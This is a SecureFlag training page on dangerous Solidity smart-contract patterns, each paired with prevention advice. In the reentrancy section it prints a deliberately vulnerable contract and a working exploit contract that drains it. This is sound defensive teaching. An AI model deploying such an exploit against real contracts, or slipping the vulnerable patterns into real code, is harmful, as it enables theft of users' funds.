Link Search Menu Expand Document

Use of Dangerous Functionality in Smart Contracts

Play SecureFlag Play Smart Contracts Labs on this vulnerability with SecureFlag!

Smart Contracts have a well-known set of programming patterns that are considered dangerous and not up-to-date with standards and guidelines that specify how the software should be implemented.

These exploitable vulnerabilities could result in a malicious actor compromising the integrity of the contract and, depending on the conditions, could lead to unauthorized withdrawals and reputational damage.

Unchecked Call Return Values

Unchecked Call Return Values are a class of vulnerability affecting certain low-level functions originally designed to perform external calls and send Ether to external accounts.

For example, functions such as call() and send() will merely return false and continue running the code without reverting the operation in case of errors. If developers overlook rudimentary steps, such as remembering to check the return, they could potentially allow for malicious behavior.

The vulnerability has been exploited in real-world attacks against the Etherpot and the King of the Ether. It also affected an early version of the BTC Relay smart contract.

Vulnerable example

This vulnerable snippet doesn’t check the result of a send() call. If the call fails for any reason, e.g., if the calling contract does not have a payable fallback function to accept the incoming call, or the call stack depth is at 1024 (this can always be forced by the caller), or the vulnerable contract runs out of gas, the etherLeft variable will contain an incorrect value, thus leaving the contract in an inconsistent state.

function withdrawBalance(uint256 _amount) public {
  require(balances[msg.sender] >= _amount);
  balances[msg.sender] -= _amount;
  etherLeft -= _amount;
  msg.sender.send(_amount);
}

Fix by using transfer

As a primary choice, developers should use transfer() instead of send(); it will automatically revert the transaction if anything goes wrong.

function withdrawBalance(uint256 _amount) public {
  require(balances[msg.sender] >= _amount);
  balances[msg.sender] -= _amount;
  etherLeft -= _amount;
  msg.sender.transfer(_amount);
}

Fix by checking the return value

Developers can also rewrite the withdrawBalance() function to check the return value of the send() call.

function withdrawBalance(uint256 _amount) public {
  require(balances[msg.sender] >= _amount);
  balances[msg.sender] -= _amount;
  etherLeft -= _amount;
  if (!(msg.sender.send(_amount))) revert();
}

Prevention

Developers should use the transfer() function, which will revert if the external transaction fails. If using a low-level call such as call(), callcode(), delegatecall(), or send() is required, developers must explicitly validate the return value and manually revert any failed transaction.

It’s recommended to use the withdrawal pattern to logically isolate the external send functionality from the rest of the code base, thus handing the burden of a potentially failed transaction over to the end user who is calling the withdraw function.

Also, make sure to protect your transactions from Reentrancy attacks by using reentrancy guards or the Checks-Effects-Interactions programming pattern.

Reentrancy

Reentrancy Attacks occur when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. An attacker exploiting this vulnerability could construct a crafted calling contract at an external address that executes the vulnerable fallback function, hijacking the control flow of the contract.

This vulnerability was exploited in the infamous DAO hack, which resulted in the theft of $150M worth of Ether and the collapse of the DAO project.

Vulnerable example

This vulnerable contract tracks the balance of a number of external addresses, allowing users to retrieve funds with its public withdrawBalance() function.

pragma solidity ^0.4.15;

contract Reentrance {
    mapping (address => uint) userBalance;
   
    function getBalance(address u) constant returns(uint){
        return userBalance[u];
    }

    function addToBalance() payable{
        userBalance[msg.sender] += msg.value;
    }   

    function withdrawBalance(){
        // send userBalance[msg.sender] ethers to msg.sender
        // if mgs.sender is a contract, it will call its fallback function
        if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
            throw;
        }
        userBalance[msg.sender] = 0;
    }  
}

The contract above can be exploited by the following malicious smart contract.

pragma solidity ^0.4.15;

contract ReentranceExploit {
    bool public attackModeIsOn=false; 
    address public vulnerable_contract;
    address public owner;

    function ReentranceExploit() public{
        owner = msg.sender;
    }

    function deposit(address _vulnerable_contract) public payable{
        vulnerable_contract = _vulnerable_contract ;
        // call addToBalance with msg.value ethers
        require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));
    }

    function launch_attack() public{
        attackModeIsOn = true;
        // call withdrawBalance
        // withdrawBalance calls the fallback of ReentranceExploit
        require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
    }  


    function () public payable{
        // atackModeIsOn is used to execute the attack only once
        // otherwise there is a loop between withdrawBalance and the fallback function
        if (attackModeIsOn){
            attackModeIsOn = false;
                require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
        }
    }

    function get_money(){
        suicide(owner);
    }

}

The attack works as follows:

  1. The malicious contract invokes the victim’s withdrawBalance() function.

  2. The victim contract executes the call.value(amount)() low-level function to send the Ether to the malicious contract before updating the balance of said malicious contract.

  3. The malicious contract has a payable anonymous fallback function that accepts the funds and then calls back into the victim contract’s withdrawBalance() function.

  4. This second execution triggers a transfer of funds; remember, the balance of the malicious contract still hasn’t been updated from the first withdrawal.

  5. As a result, the malicious contract successfully withdraws its entire balance a second time.

Fix with Reentrancy Guard

Implement a simple recursion control to prevent Reentrancy attacks by simply declaring a variable in the contract and using it as a synchronization lock.

bool locked = false;

function withdrawBalance(){
    require(!locked);
    
    locked = true;
    if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
        locked = false;
        throw;
    }
    locked = false;

    userBalance[msg.sender] = 0;
}  

Fix with Checks-Effects-Interactions Pattern

The Checks-Effects-Interactions pattern described in the Solidity documentation recommend changing the state variable before the call.

function withdrawBalance(){
    uint amount = userBalance[msg.sender];
    userBalance[msg.sender] = 0;
    if( ! (msg.sender.call.value(amount)() ) ){
        throw;
    }
} 

Prevention

Contracts should always enforce the Checks-Effects-Interactions pattern by updating state variables earlier in the code and performing external calls as the last operation in the series or implementing recursion control to prevent Reentrancy attacks.

Authorization Through tx.origin

Implementing access control by checking the variable tx.origin is a dangerous pattern since this Solidity variable traverses the entire call stack and returns the address of the account that originally sent the transaction.

This could allow a legitimate user of a vulnerable contract to be tricked into interacting with a rogue contract that forwards the call to the vulnerable one. Since the vulnerable contract checks the identity using tx.origin, this Phishing attack might result in unauthorized actions being performed by the attacker.

Prevention

Do not use tx.origin for authentication purposes - use msg.sender instead.

Time From Block Value

Contract development often requires knowing the time to perform time-driven functionalities. Usually, the Solidity variables block.timestamp and block.number are used, but even if they can give you a rough indication about time, they shouldn’t be used for sensitive purposes.

Since the blockchain is decentralized, nodes can only synchronize time to a certain degree; hence, the time in block.timestamp can’t be considered reliable. Malicious miners might also purposely alter the block timestamps to exploit this unsafe pattern.

The variable block.number is also used to predict the time delta between blocks since block time on Ethereum is generally about 14 seconds. However, block times are not constant, are subject to change, and should not be used for sensitive actions.

Prevention

Do not consider block values as critical or precise time values since they can lead to unexpected effects.

Wrong Constructor Name

Wrong Constructor Name vulnerabilities occur when a particular type of special function, known as a constructor, is named incorrectly or is left with the same name following a contract name change. If this disparity between contract name and constructor name occurs in development, the constructor will revert to having runtime, normal functions. This results in a publicly callable function and allows malicious actors to perform unintended or unauthorized actions.

This vulnerability has been exploited in a real-world attack against the Rubixi contract, which resulted in the contract fee being stolen because anyone was able to become the owner of the contract.

Prevention

This issue has been addressed in the Solidity compiler in version 0.4.22, which introduces a constructor rather than requiring the name of the function to match the contract name. Use constructor instead of a named constructor to prevent this issue.

Integer Overflow and Underflow

Integer Overflow and Underflow manifest when an unsigned integer uint variable used to store a number reaches its byte size. Then the next element added or subtracted will roll over to a lower or higher number, respectively.

An attacker might leverage this unexpected behavior to overcome security checks and, depending on the contract’s logic, perform unintended or unauthorized actions.

This vulnerability has been exploited in a real-world attack against the BeautyChain hack.

Prevention

Starting with version 0.8, Solidity automatically reverts all arithmetic operations that cause an overflow or underflow condition. Please note that this arithmetic control can be disabled using the unchecked code blocks.

Insecure Randomness

Smart contracts often model games and gambling apps that require the generation of pseudo-random numbers. However, employing a secure source of randomness in Solidity is very challenging, and poor implementations might lead to Insecure Randomness vulnerabilities.

A common vulnerable pattern relies on block fields, such as block.timestamp, block.number, blockhash, and block.difficulty. Since miners have a choice of whether or not to publish a block, they could purposely influence the transmitted blocks to cause unexpected behaviors.

Prevention

There are a few programming patterns and well-recognized Verifiable Random Function services and oracles that provide allegedly secure pseudo-random numbers. Find a technique that fits with your use case and has been peer-reviewed by multiple community-recognized bodies.

Write to Arbitrary Storage Location

Smart contract data is persistently stored at some storage location. The contract is responsible for ensuring that only authorized users may write to sensitive storage locations. If an attacker is able to write to unexpected storage locations, they could maliciously manipulate other variables of the contract for their own gain. For example, they could bypass authorization checks or change owner addresses.

Prevention

Ensure that writes to one data structure cannot inadvertently overwrite entries of another data structure.

References

SWC Registry - Unchecked Call Return Value Solidity - Common Patterns - Withdrawal pattern DASP - Unchecked Return Values For Low-Level Calls Solidity Security Blog - Unchecked CALL Return Values

Solidity Security Blog - Reentrancy Ethereum Smart Contract Best Practices - Reentrancy Solidity - Security Considerations

SWC Registry - Authorization through tx.origin

SWC Registry - Block values as a proxy for time

Solidity - Creating Contracts Ethereum Blog - Thinking About Smart Contract Security DASP - Access Control

SWC Registry - Integer Overflow and Underflow Solidity - Checked or Unchecked Arithmetic

SWC Registry - Write to Arbitrary Storage Location